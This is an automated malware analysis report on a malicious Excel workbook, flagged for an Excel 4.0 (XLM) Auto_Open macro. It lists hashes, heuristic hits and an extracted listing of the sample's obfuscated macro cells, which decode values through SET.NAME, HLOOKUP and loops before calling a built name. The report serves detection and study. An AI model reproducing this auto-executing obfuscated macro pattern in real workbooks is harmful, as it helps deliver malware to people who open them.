Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 babcc7da881c25a3…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-27 11:42:16 Authoring application: Microsoft Excel First seen: 2020-12-25
MD5: 43f07bdecc66bbcb059ca8fffc0f8e62 SHA-1: 933051c3f7766e48b9c890dc537d3b5e4b73a06d SHA-256: babcc7da881c25a3dade7eb57e71ce3733cefa60c5da4654baea0f17b7029413
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6876 bytes
SHA-256: c1140e42f9617a291ccbdbccbe8e0c1d80489116749d6584b4f472c23793d874
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     20 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  ZixOjpLyXzP
' 0018     24 LABEL : Cell Value, String Constant - aPHVAOzyc len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!D142 
' 0018     21 LABEL : Cell Value, String Constant - BAGGkT len=0 
' 0018     23 LABEL : Cell Value, String Constant - BqNgDpYl len=0 
' 0018     23 LABEL : Cell Value, String Constant - BVmUvmfT len=0 
' 0018     26 LABEL : Cell Value, String Constant - dsKSIQVZjnu len=0 
' 0018     24 LABEL : Cell Value, String Constant - eplevcYzZ len=0 
' 0018     27 LABEL : Cell Value, String Constant - gyMneMZFconj len=0 
' 0018     27 LABEL : Cell Value, String Constant - HfjKTelTsOKT len=0 
' 0018     27 LABEL : Cell Value, String Constant - ImcFDBSudyZW len=0 
' 0018     23 LABEL : Cell Value, String Constant - iVSVTLnW len=0 
' 0018     27 LABEL : Cell Value, String Constant - kIEPoxGDDBKg len=0 
' 0018     22 LABEL : Cell Value, String Constant - KiRvBmL len=0 
' 0018     25 LABEL : Cell Value, String Constant - oMyRkKPZdT len=0 
' 0018     21 LABEL : Cell Value, String Constant - pnxTyX len=0 
' 0018     25 LABEL : Cell Value, String Constant - pVTRONaTYn len=0 
' 0018     20 LABEL : Cell Value, String Constant - qHKOR len=0 
' 0018     22 LABEL : Cell Value, String Constant - RUAlzyB len=0 
' 0018     25 LABEL : Cell Value, String Constant - yCUqueUvdq len=0 
' 0018     23 LABEL : Cell Value, String Constant - YFSgmqvt len=0 
' 0018     23 LABEL : Cell Value, String Constant - zhWNgzcP len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  ZixOjpLyXzP,T45,"",238.00000000000000000000
'  ZixOjpLyXzP,T46,"",111.00000000000000000000
'  ZixOjpLyXzP,T47,"",-180.00000000000000000000
'  ZixOjpLyXzP,T48,"",-159.00000000000000000000
'  ZixOjpLyXzP,T49,"",512.00000000000000000000
'  ZixOjpLyXzP,T50,"",210.00000000000000000000
'  ZixOjpLyXzP,D52,"SET.NAME("qHKOR",0+VALUE("0"))",""
'  ZixOjpLyXzP,D56,"SET.NAME("RUAlzyB",qHKOR)",""
'  ZixOjpLyXzP,D60,"SET.NAME("BqNgDpYl",qHKOR)",""
'  ZixOjpLyXzP,D64,"SET.NAME("pVTRONaTYn",COUNTA(BVmUvmfT))",""
'  ZixOjpLyXzP,D69,"SET.NAME("gyMneMZFconj",COUNTA(kIEPoxGDDBKg))",""
'  ZixOjpLyXzP,D72,[],""
'  ZixOjpLyXzP,D76,"SET.NAME("eplevcYzZ","")",""
'  ZixOjpLyXzP,D80,"RUAlzyB",""
'  ZixOjpLyXzP,D84,"SET.NAME("YFSgmqvt",HLOOKUP("*",BVmUvmfT,RUAlzyB,FALSE))",""
'  ZixOjpLyXzP,D87,"oMyRkKPZdT",""
'  ZixOjpLyXzP,D91,"SET.NAME("iVSVTLnW",qHKOR)",""
'  ZixOjpLyXzP,D95,[],""
'  ZixOjpLyXzP,D98,"iVSVTLnW",""
'  ZixOjpLyXzP,D103,"pnxTyX",""
'  ZixOjpLyXzP,D105,"zhWNgzcP",""
'  ZixOjpLyXzP,D108,"yCUqueUvdq",""
'  ZixOjpLyXzP,D110,"SET.NAME("KiRvBmL",VALUE(HLOOKUP("*",kIEPoxGDDBKg,yCUqueUvdq,FALSE)))",""
'  ZixOjpLyXzP,D113,"aPHVAOzyc",""
'  ZixOjpLyXzP,D115,"eplevcYzZ",""
'  ZixOjpLyXzP,D119,"BqNgDpYl",""
'  ZixOjpLyXzP,D123,NEXT(),""
'  ZixOjpLyXzP,D127,"HfjKTelTsOKT",""
'  ZixOjpLyXzP,D129,[],""
'  ZixOjpLyXzP,D131,"ImcFDBSudyZW",""
'  ZixOjpLyXzP,D135,NEXT(),""
'  ZixOjpLyXzP,D137,RETURN(),""
'  ZixOjpLyXzP,D164,"SET.NAME("BAGGkT",D52)",""
'  ZixOjpLyXzP,D166,"BVmUvmfT",""
'  ZixOjpLyXzP,D171,"SET.NAME("kIEPoxGDDBKg",R79C13)",""
'  ZixOjpLyXzP,D176,"SET.NAME("ImcFDBSudyZW",182)",""
'  ZixOjpLyXzP,D178,"SET.NAME("dsKSIQVZjnu",4)",""
'  ZixOjpLyXzP,D181,BAGGkT(),""
'  ZixOjpLyXzP,D182,HALT(),""

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